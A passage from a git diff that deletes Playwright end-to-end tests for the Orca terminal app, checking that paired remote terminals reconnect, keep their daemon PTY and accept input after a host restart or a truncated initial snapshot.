.toContain(`LIVE:${marker}`) - } catch (error) { - const probe = await readPane(page, target.webTabId) - throw new Error( - `${error instanceof Error ? error.message : String(error)}\n` + - `Pane probe: ${JSON.stringify({ ...probe, content: probe.content.slice(-400) })}\n` + - `Host PTY sink: ${JSON.stringify(readText(target.sinkPath))}` - ) - } -} - -test('an active remote terminal accepts input after the host app quits and relaunches', async (// oxlint-disable-next-line no-empty-pattern -- This lifecycle test owns both host launches. -{}, testInfo) => { - test.setTimeout(360_000) - const repoPath = seededRepoPathOrSkip() - const session = createRestartSession(testInfo) - let firstHost: ElectronApplication | null = null - let secondHost: ElectronApplication | null = null - let client: PairedElectronClient | null = null - const terminals: HostTerminal[] = [] - try { - const first = await session.launch() - firstHost = first.app - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - const daemonPid = readDaemonPid(session.userDataDir) - client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(first.page), - testInfo, - 'host-quit-reconnect-input' - ) - await expect - .poll( - () => - client!.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'Paired client never saw the host worktree' } - ) - .toBe(true) - - const target = await createHostTerminal(client, worktreeId, 'target') - terminals.push(target) - await openClientTab(client.page, worktreeId, target.webTabId) - await expect - .poll(async () => (await readPane(client!.page, target.webTabId)).content, { - timeout: 30_000 - }) - .toContain('READY') - await expectTerminalInteractive(client.page, target, 'before') - - await session.close(firstHost) - firstHost = null - await expect - .poll(async () => (await readPane(client!.page, target.webTabId)).banner, { - timeout: 30_000, - message: 'Client never showed the reconnect overlay after the host quit' - }) - .not.toBeNull() - const second = await session.launch({ beforeFirstWindow: holdWindowGraphPublication }) - secondHost = second.app - expect(readDaemonPid(session.userDataDir), 'daemon must survive the host relaunch').toBe( - daemonPid - ) - // Why bounded: a fixed client settles out of recovery or keeps waiting; either way release the hold. - await expect - .poll( - async () => { - const { recovery } = await readPane(client!.page, target.webTabId) - return recovery === 'recovering' || recovery === 'backoff' ? null : recovery - }, - { timeout: 20_000 } - ) - .not.toBeNull() - .catch(() => undefined) - // Why: proves the hold beat the host's first publication, so the client really met an unpublished host. - const heldList = await callRuntime<{ publicationEpoch: string; tabs: unknown[] }>( - client.page, - client.environmentId, - 'session.tabs.list', - { worktree: `id:${worktreeId}` } - ) - expect(heldList.publicationEpoch.startsWith('none'), JSON.stringify(heldList)).toBe(true) - expect(heldList.tabs).toEqual([]) - expect( - await releaseWindowGraphPublication(second.app), - 'the relaunched host must not have published a graph before the client settled' - ).toBe(0) - await second.page.waitForFunction( - () => window.__store?.getState().workspaceSessionReady === true, - undefined, - { timeout: 30_000 } - ) - await expect - .poll( - async () => - ( - await callRuntime<{ tabs: { type: string; parentTabId?: string }[] }>( - client!.page, - client!.environmentId, - 'session.tabs.list', - { worktree: `id:${worktreeId}` } - ) - ).tabs.some((tab) => tab.type === 'terminal' && tab.parentTabId === target.parentTabId), - { timeout: 30_000, message: 'Relaunched host never republished the target surface' } - ) - .toBe(true) - // No manual connect: the client must recover on its own, as in the field. - await expect - .poll(async () => (await readPane(client!.page, target.webTabId)).banner, { - timeout: 90_000, - message: 'Reconnect overlay never cleared' - }) - .toBeNull() - await expectTerminalInteractive(client.page, target, 'after') - } finally { - if (client) { - for (const terminal of terminals) { - await callRuntime(client.page, client.environmentId, 'terminal.closeTab', { - terminal: terminal.handle - }).catch(() => undefined) - } - await client.dispose() - } - if (secondHost) { - await session.close(secondHost) - } - if (firstHost) { - await session.close(firstHost) - } - await session.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts b/tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts deleted file mode 100644 index 18fb936c4c8..00000000000 --- a/tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts +++ /dev/null @@ -1,467 +0,0 @@ -import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' -import { - HOST_TERMINAL_SURFACE_SEPARATOR, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { waitForTabParked } from './helpers/terminal-hidden-parking' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const PARK_DELAY_MS = 2_000 -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-host-restart-background-')) -const fixturePath = path.join(scratch, 'paired-host-restart-terminal.mjs') -const backlogPath = path.join(scratch, 'daemon-stream-backlog.jsonl') - -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const sink = process.argv[2]', - "process.stdout.write('READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' appendFileSync(sink, `${line}\\n`)', - ' process.stdout.write(`LIVE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(sinkPath: string): string { - const command = [process.execPath, fixturePath, sinkPath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -function seededRepoPathOrSkip(): string { - const repoPath = existsSync(TEST_REPO_PATH_FILE) - ? readFileSync(TEST_REPO_PATH_FILE, 'utf8').trim() - : '' - test.skip(!repoPath || !existsSync(repoPath), 'Global setup did not produce a seeded test repo') - return repoPath -} - -function readDaemonPid(userDataDir: string): number { - const value = JSON.parse( - readFileSync(path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), 'utf8') - ) as { pid?: unknown } - if (typeof value.pid !== 'number') { - throw new Error('Daemon pid file did not contain a numeric pid') - } - return value.pid -} - -type BacklogEntry = { - atMs?: number - background?: boolean - backgroundedSessionIdSuffixes?: string[] - event?: string - sessionIdSuffix?: string -} - -function readBacklogEntries(): BacklogEntry[] { - try { - return readFileSync(backlogPath, 'utf8') - .split(/\r?\n/) - .filter(Boolean) - .flatMap((line) => { - try { - return [JSON.parse(line) as BacklogEntry] - } catch { - return [] - } - }) - } catch { - return [] - } -} - -function readText(filePath: string): string { - try { - return readFileSync(filePath, 'utf8') - } catch { - return '' - } -} - -async function callRuntime( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -type HostTerminal = { - handle: string - parentTabId: string - ptyId: string - sinkPath: string - webTabId: string -} - -async function createHostTerminal( - client: PairedElectronClient, - worktreeId: string, - name: string -): Promise { - const sinkPath = path.join(scratch, `${name}.log`) - const created = await callRuntime<{ - tab: { id: string; parentTabId: string; terminal: string | null } - }>(client.page, client.environmentId, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - command: fixtureCommand(sinkPath), - activate: false, - select: false, - navigation: 'caller' - }) - if (!created.tab.terminal) { - throw new Error('Host did not publish the fixture terminal') - } - const shown = await callRuntime<{ terminal: { ptyId: string | null } }>( - client.page, - client.environmentId, - 'terminal.show', - { terminal: created.tab.terminal } - ) - if (!shown.terminal.ptyId) { - throw new Error('Host fixture terminal has no PTY') - } - const parentTabId = - created.tab.parentTabId || created.tab.id.split(HOST_TERMINAL_SURFACE_SEPARATOR)[0] - return { - handle: created.tab.terminal, - parentTabId, - ptyId: shown.terminal.ptyId, - sinkPath, - webTabId: toWebTerminalSurfaceTabId(parentTabId) - } -} - -async function findTerminalHandle( - client: PairedElectronClient, - worktreeId: string, - parentTabId: string -): Promise { - let terminal: string | null = null - await expect - .poll( - async () => { - const snapshot = await callRuntime<{ - tabs: { type: string; parentTabId?: string; terminal?: string | null }[] - }>(client.page, client.environmentId, 'session.tabs.list', { - worktree: `id:${worktreeId}` - }) - terminal = - snapshot.tabs.find((tab) => tab.type === 'terminal' && tab.parentTabId === parentTabId) - ?.terminal ?? null - return terminal - }, - { timeout: 30_000, message: `Host did not republish terminal tab ${parentTabId}` } - ) - .not.toBeNull() - if (!terminal) { - throw new Error(`Host did not republish terminal tab ${parentTabId}`) - } - return terminal -} - -async function openClientTab(page: Page, worktreeId: string, webTabId: string): Promise { - await expect - .poll( - () => - page.evaluate( - ({ worktreeId, webTabId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === webTabId - ), - { worktreeId, webTabId } - ), - { timeout: 60_000, message: `Client never mirrored host tab ${webTabId}` } - ) - .toBe(true) - await page.evaluate( - ({ worktreeId, webTabId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(webTabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { worktreeId, webTabId } - ) - await expect - .poll(() => page.evaluate((id) => window.__paneManagers?.has(id) ?? false, webTabId), { - timeout: 60_000, - message: `Client pane for ${webTabId} did not mount` - }) - .toBe(true) -} - -async function readPaneContent(page: Page, webTabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.serializeAddon?.serialize?.() ?? '' - }, webTabId) -} - -async function waitForPaneConnected(page: Page, webTabId: string): Promise { - await expect - .poll( - () => - page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.container.dataset.ptyRecoveryState ?? null - }, webTabId), - { timeout: 30_000, message: `Pane ${webTabId} never completed transport recovery` } - ) - .toBe('connected') -} - -async function expectTerminalInteractive( - client: PairedElectronClient, - target: HostTerminal, - marker: string -): Promise { - await client.page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - throw new Error(`No pane mounted for ${id}`) - } - pane.terminal.focus() - const textarea = pane.container.querySelector('.xterm-helper-textarea') as HTMLTextAreaElement - textarea.focus() - }, target.webTabId) - await client.page.keyboard.type(marker) - await client.page.keyboard.press('Enter') - await expect.poll(() => readText(target.sinkPath), { timeout: 15_000 }).toContain(marker) - await expect - .poll(() => readPaneContent(client.page, target.webTabId), { timeout: 15_000 }) - .toContain(`LIVE:${marker}`) -} - -async function moveHostAwayFromWorktree(page: Page, targetWorktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate(async (targetId) => { - const state = window.__store?.getState() - const target = state?.allWorktrees().find((worktree) => worktree.id === targetId) - if (!state || !target) { - return false - } - await state.fetchWorktrees(target.repoId) - return window - .__store!.getState() - .allWorktrees() - .some((worktree) => worktree.repoId === target.repoId && worktree.id !== targetId) - }, targetWorktreeId), - { message: 'Seeded alternate host worktree never loaded' } - ) - .toBe(true) - const alternateWorktreeId = await page.evaluate((targetId) => { - const state = window.__store?.getState() - const alternate = state?.allWorktrees().find((worktree) => worktree.id !== targetId) - if (!state || !alternate) { - return null - } - state.setActiveView('terminal') - state.setActiveWorktree(alternate.id) - return alternate.id - }, targetWorktreeId) - if (!alternateWorktreeId) { - throw new Error('Host fixture needs a second worktree for inactive-workspace restart coverage') - } - await expect - .poll(() => page.evaluate(() => window.__store?.getState().activeWorktreeId ?? null)) - .toBe(alternateWorktreeId) - return alternateWorktreeId -} - -test('foregrounds a preserved daemon PTY after the paired host relaunches', async (// oxlint-disable-next-line no-empty-pattern -- This lifecycle test owns both host launches. -{}, testInfo) => { - test.setTimeout(360_000) - const repoPath = seededRepoPathOrSkip() - writeFileSync(backlogPath, '') - const previousParkDelay = process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS - process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS = String(PARK_DELAY_MS) - const session = createRestartSession(testInfo, { - ORCA_DAEMON_STREAM_BACKLOG_FILE: backlogPath - }) - let firstHost: ElectronApplication | null = null - let secondHost: ElectronApplication | null = null - let client: PairedElectronClient | null = null - const terminals: HostTerminal[] = [] - try { - const first = await session.launch() - firstHost = first.app - const worktreeId = await attachRepoAndOpenTerminal(first.page, repoPath) - const daemonPid = readDaemonPid(session.userDataDir) - client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(first.page), - testInfo, - 'host-restart-background-sync' - ) - await expect - .poll( - () => - client!.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'Paired client never saw the host worktree' } - ) - .toBe(true) - - const target = await createHostTerminal(client, worktreeId, 'target') - const firstDecoy = await createHostTerminal(client, worktreeId, 'first-decoy') - const parkingDecoy = await createHostTerminal(client, worktreeId, 'parking-decoy') - terminals.push(target, firstDecoy, parkingDecoy) - await openClientTab(client.page, worktreeId, target.webTabId) - await expect - .poll(() => readPaneContent(client!.page, target.webTabId), { timeout: 30_000 }) - .toContain('READY') - await openClientTab(client.page, worktreeId, firstDecoy.webTabId) - await openClientTab(client.page, worktreeId, parkingDecoy.webTabId) - await waitForTabParked(client.page, target.webTabId, { parkDelayMs: PARK_DELAY_MS }) - - const targetSuffix = target.ptyId.slice(-10) - await expect - .poll( - () => - readBacklogEntries() - .findLast((entry) => entry.backgroundedSessionIdSuffixes) - ?.backgroundedSessionIdSuffixes?.includes(targetSuffix) ?? false, - { timeout: 15_000, message: 'Daemon never retained the target background hint' } - ) - .toBe(true) - - const alternateHostWorktreeId = await moveHostAwayFromWorktree(first.page, worktreeId) - await session.close(firstHost) - firstHost = null - const foregroundEventStartMs = Date.now() - const second = await session.launch() - secondHost = second.app - await second.page.waitForFunction( - (expectedId) => - window.__store?.getState().workspaceSessionReady === true && - window.__store?.getState().activeWorktreeId === expectedId, - alternateHostWorktreeId, - { timeout: 30_000 } - ) - expect(readDaemonPid(session.userDataDir), 'daemon must survive the host relaunch').toBe( - daemonPid - ) - await openClientTab(client.page, worktreeId, target.webTabId) - await expect - .poll( - () => - client!.page.evaluate(async (selector) => { - const response = await window.api.runtimeEnvironments.connect({ selector }) - return response.ok - }, client!.environmentId), - { timeout: 60_000, message: 'Paired client never reconnected to the relaunched host' } - ) - .toBe(true) - - await waitForPaneConnected(client.page, target.webTabId) - await expect - .poll( - () => - readBacklogEntries().some( - (entry) => - (entry.atMs ?? 0) >= foregroundEventStartMs && - entry.event === 'setSessionBackground' && - entry.sessionIdSuffix === targetSuffix && - entry.background === false - ), - { timeout: 15_000, message: 'Relaunched host never foregrounded the preserved PTY' } - ) - .toBe(true) - await expectTerminalInteractive(client, target, 'x') - target.handle = await findTerminalHandle(client, worktreeId, target.parentTabId) - const restored = await callRuntime<{ terminal: { ptyId: string | null } }>( - client.page, - client.environmentId, - 'terminal.show', - { terminal: target.handle } - ) - expect(restored.terminal.ptyId, 'host inventory must preserve the daemon PTY identity').toBe( - target.ptyId - ) - - const reconnectControl = await createHostTerminal(client, worktreeId, 'reconnect-control') - terminals.push(reconnectControl) - expect(reconnectControl.ptyId).not.toBe(target.ptyId) - await openClientTab(client.page, worktreeId, reconnectControl.webTabId) - await waitForPaneConnected(client.page, reconnectControl.webTabId) - await expect - .poll(() => readPaneContent(client!.page, reconnectControl.webTabId), { timeout: 30_000 }) - .toContain('READY') - await expectTerminalInteractive(client, reconnectControl, 'y') - } finally { - if (client) { - for (const terminal of terminals) { - await callRuntime(client.page, client.environmentId, 'terminal.closeTab', { - terminal: terminal.handle - }).catch(() => undefined) - } - await client.dispose() - } - if (secondHost) { - await session.close(secondHost) - } - if (firstHost) { - await session.close(firstHost) - } - await session.dispose() - if (previousParkDelay === undefined) { - delete process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS - } else { - process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS = previousParkDelay - } - } -}) diff --git a/tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts b/tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts deleted file mode 100644 index cf68f6b5fb1..00000000000 --- a/tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts +++ /dev/null @@ -1,275 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalRead } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-lossy-snapshot-')) -const fixturePath = path.join(scratch, 'lossy-snapshot-terminal.mjs') -writeFileSync( - fixturePath, - [ - 'import { readFileSync } from "node:fs"', - 'const marker = readFileSync(process.argv[2], "utf8")', - 'process.stdout.write(`${marker}\\r\\n`)', - 'process.stdin.setEncoding("utf8")', - 'process.stdin.on("data", (data) => process.stdout.write(`LIVE:${data.trim()}\\r\\n`))', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => rmSync(scratch, { recursive: true, force: true })) -test.use({ - orcaAppExtraEnv: { ORCA_E2E_FORCE_REMOTE_TERMINAL_INITIAL_SNAPSHOT_TRUNCATED: '1' } -}) - -function fixtureCommand(marker: string): string { - const command = [process.execPath, fixturePath, marker] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -async function callRuntime( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -async function callLocalRuntime( - page: Page, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ method, params }) => { - const response = await window.api.runtime.call({ method, params }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { method, params } - ) as Promise -} - -test('paints a nonempty lossy initial snapshot on a paired Electron client @headful', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(180_000) - const marker = `REMOTE_LOSSY_INITIAL_${Date.now()}` - const liveMarker = `REMOTE_LOSSY_LIVE_${Date.now()}` - const markerPath = path.join(scratch, 'marker-value.txt') - writeFileSync(markerPath, marker) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, 'lossy-initial-snapshot') - let terminal: string | null = null - try { - const worktreeId = await orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId) - if (!worktreeId) { - throw new Error('Headed host has no active worktree') - } - await orcaPage.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeId) - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId)) - .toBe(worktreeId) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000 } - ) - .toBe(true) - const created = await callLocalRuntime<{ - tab: { parentTabId: string; terminal: string | null } - }>(orcaPage, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - command: fixtureCommand(markerPath), - activate: true, - select: true, - navigation: 'host' - }) - terminal = created.tab.terminal - if (!terminal) { - throw new Error('Paired host did not publish the fixture terminal') - } - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await expect - .poll( - async () => { - const result = await callLocalRuntime<{ terminal: RuntimeTerminalRead }>( - orcaPage, - 'terminal.read', - { terminal, screen: true } - ) - return result.terminal.tail.join('\n').includes(marker) - }, - { timeout: 30_000 } - ) - .toBe(true) - const { terminal: hostEvidence } = await callLocalRuntime<{ terminal: RuntimeTerminalRead }>( - orcaPage, - 'terminal.read', - { terminal, screen: true } - ) - console.log( - `[lossy-initial] ${JSON.stringify({ hostLatestCursor: hostEvidence?.latestCursor, hostNextCursor: hostEvidence?.nextCursor, marker })}` - ) - - await expect - .poll( - () => - client.page.evaluate( - ({ tabId, worktreeId }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []).some( - (tab) => tab.id === tabId - ), - { tabId: webTabId, worktreeId } - ), - { timeout: 60_000 } - ) - .toBe(true) - await client.page.evaluate( - ({ tabId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(tabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { tabId: webTabId, worktreeId } - ) - const tab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(tab).toBeVisible({ timeout: 30_000 }) - await expect(tab).toHaveAttribute('data-active', 'true') - await expect - .poll( - () => - client.page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return { - mounted: Boolean(pane), - markerCount: - (pane?.serializeAddon?.serialize?.() ?? '').split('REMOTE_LOSSY_INITIAL_').length - - 1 - } - }, webTabId), - { timeout: 30_000 } - ) - .toEqual({ mounted: true, markerCount: 1 }) - - const beforeLiveCursor = Number(hostEvidence?.latestCursor) - const sent = await callRuntime<{ send: { accepted: boolean } }>( - client.page, - client.environmentId, - 'terminal.send', - { - terminal, - text: liveMarker, - enter: true, - client: { id: 'paired-lossy-initial-e2e', type: 'desktop' } - } - ) - expect(sent.send.accepted).toBe(true) - await expect - .poll(() => - client.page.evaluate( - () => - ( - window as Window & { - __remoteTerminalMultiplexAckGate?: { - snapshot: () => { initialSnapshotTruncatedCount?: number } - } - } - ).__remoteTerminalMultiplexAckGate?.snapshot().initialSnapshotTruncatedCount - ) - ) - .toBeGreaterThanOrEqual(1) - await expect - .poll( - () => - client.page.evaluate( - ({ initialMarker, liveMarker, tabId }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const content = pane?.serializeAddon?.serialize?.() ?? '' - return { - initialMarkerCount: content.split(initialMarker).length - 1, - liveMarkerCount: content.split(`LIVE:${liveMarker}`).length - 1 - } - }, - { initialMarker: marker, liveMarker, tabId: webTabId } - ), - { timeout: 30_000 } - ) - .toEqual({ initialMarkerCount: 1, liveMarkerCount: 1 }) - const clientWindow = await client.app.browserWindow(client.page) - await clientWindow.evaluate((window) => { - window.show() - window.focus() - }) - await expect.poll(() => clientWindow.evaluate((window) => window.isVisible())).toBe(true) - await client.page.evaluate( - () => new Promise((resolve) => requestAnimationFrame(() => requestAnimationFrame(resolve))) - ) - await testInfo.attach('paired-client-lossy-initial-restored', { - body: await client.page.screenshot({ animations: 'disabled' }), - contentType: 'image/png' - }) - await expect - .poll( - async () => { - const result = await callLocalRuntime<{ terminal: RuntimeTerminalRead }>( - orcaPage, - 'terminal.read', - { terminal, screen: true } - ) - return Number(result.terminal.latestCursor) - }, - { timeout: 30_000 } - ) - .toBeGreaterThan(beforeLiveCursor) - } finally { - if (terminal) { - await callRuntime(client.page, client.environmentId, 'terminal.closeTab', { terminal }).catch( - () => undefined - ) - } - await client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts b/tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts deleted file mode 100644 index cd547c5e3a6..00000000000 --- a/tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts +++ /dev/null @@ -1,428 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import type { RuntimeMobileSessionTabsResult } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { - RuntimeTerminalListResult, - RuntimeTerminalRead, - RuntimeTerminalShow -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { getTerminalContent, waitForActivePanePtyId } from './helpers/terminal' -import { readFreshTerminalInventory } from './helpers/terminal-inventory-observation' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-materialize-')) -const fixturePath = path.join(scratch, 'materialize-terminal.mjs') -const processedInputPath = path.join(scratch, 'processed-input.txt') - -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const processedInputPath = process.argv[2]', - "process.stdout.write('MATERIALIZE_READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const commands = pending.split(/\\r\\n|\\r|\\n/)', - ' pending = commands.pop() ?? ""', - ' for (const input of commands) {', - ' appendFileSync(processedInputPath, `${input}\\n`)', - ' process.stdout.write(`LIVE:${input}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.describe.configure({ mode: 'serial' }) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(): string { - const command = [process.execPath, fixturePath, processedInputPath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -async function callRuntime( - page: Page, - selector: string, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ method, params, selector }) => { - const response = await window.api.runtimeEnvironments.call({ selector, method, params }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { method, params, selector } - ) as Promise -} - -async function showClient(app: ElectronApplication, page: Page): Promise { - const clientWindow = await app.browserWindow(page) - await clientWindow.evaluate((window) => { - window.show() - window.focus() - }) - await expect.poll(() => clientWindow.evaluate((window) => window.isVisible())).toBe(true) -} - -async function waitForClientWorktree(page: Page, expectedId?: string): Promise { - await expect - .poll( - () => - page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => !id || worktree.id === id)?.id ?? null, - expectedId - ), - { timeout: 30_000 } - ) - .not.toBeNull() - const worktreeId = await page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => !id || worktree.id === id)?.id ?? null, - expectedId - ) - if (!worktreeId) { - throw new Error('Paired client did not receive the host workspace') - } - return worktreeId -} - -async function hostSurfaceStatus( - page: Page, - environmentId: string, - worktreeId: string, - parentTabId: string, - expectedLeafId?: string -): Promise { - const snapshot = await callRuntime( - page, - environmentId, - 'session.tabs.list', - { worktree: `id:${worktreeId}` } - ) - const surface = snapshot.tabs.find( - (candidate) => - candidate.type === 'terminal' && - candidate.parentTabId === parentTabId && - (expectedLeafId === undefined || candidate.leafId === expectedLeafId) - ) - return surface?.type === 'terminal' ? surface.status : null -} - -async function parkHostTerminal( - page: Page, - environmentId: string, - worktreeId: string, - parentTabId: string, - options: { expectedPtyId: string; original: RuntimeTerminalShow } -): Promise { - let lastError = 'terminal.stopExact was never attempted' - for (let attempt = 0; attempt < 10; attempt += 1) { - const stopStartedAt = Date.now() - const stop = await callRuntime<{ - stopped: number - stoppedPtyIds: string[] - postStopVerified: boolean - postStopFailure?: string - }>(page, environmentId, 'terminal.stopExact', { - worktree: `id:${worktreeId}`, - expectedPtyIds: [options.expectedPtyId], - keepHistory: true, - targetOnly: true - }).catch((error: unknown) => { - lastError = error instanceof Error ? error.message : String(error) - return null - }) - if (stop) { - const diagnostic: Record = { - expectedPtyId: options.expectedPtyId, - expectedHostId: options.original.executionHostId ?? null, - expectedLeafId: options.original.leafId, - elapsedMs: Date.now() - stopStartedAt, - stop - } - let parked = stop.postStopVerified === true - if (stop.postStopVerified === false) { - const inventory = await readFreshTerminalInventory(() => - callRuntime(page, environmentId, 'terminal.list', { - requireFreshPtyLiveness: true - }) - ).catch((error: unknown) => ({ error: String(error) })) - const surface = await hostSurfaceStatus( - page, - environmentId, - worktreeId, - parentTabId, - options.original.leafId - ) - .then((status) => ({ parentTabId, leafId: options.original.leafId, status })) - .catch((error: unknown) => ({ parentTabId, error: String(error) })) - Object.assign(diagnostic, { inventory, surface }) - parked = - stop.postStopFailure === 'terminal_liveness_unavailable' && - inventory !== null && - 'terminals' in inventory && - inventory.truncated === false && - inventory.totalCount === inventory.terminals.length && - options.original.executionHostId !== undefined && - inventory.hostScope?.hostIds.includes(options.original.executionHostId) === true && - inventory.hostScope.omittedHostIds.length === 0 && - !inventory.terminals.some((terminal) => terminal.ptyId === options.expectedPtyId) && - options.original.tabId === parentTabId && - 'status' in surface && - surface.status === 'pending-handle' 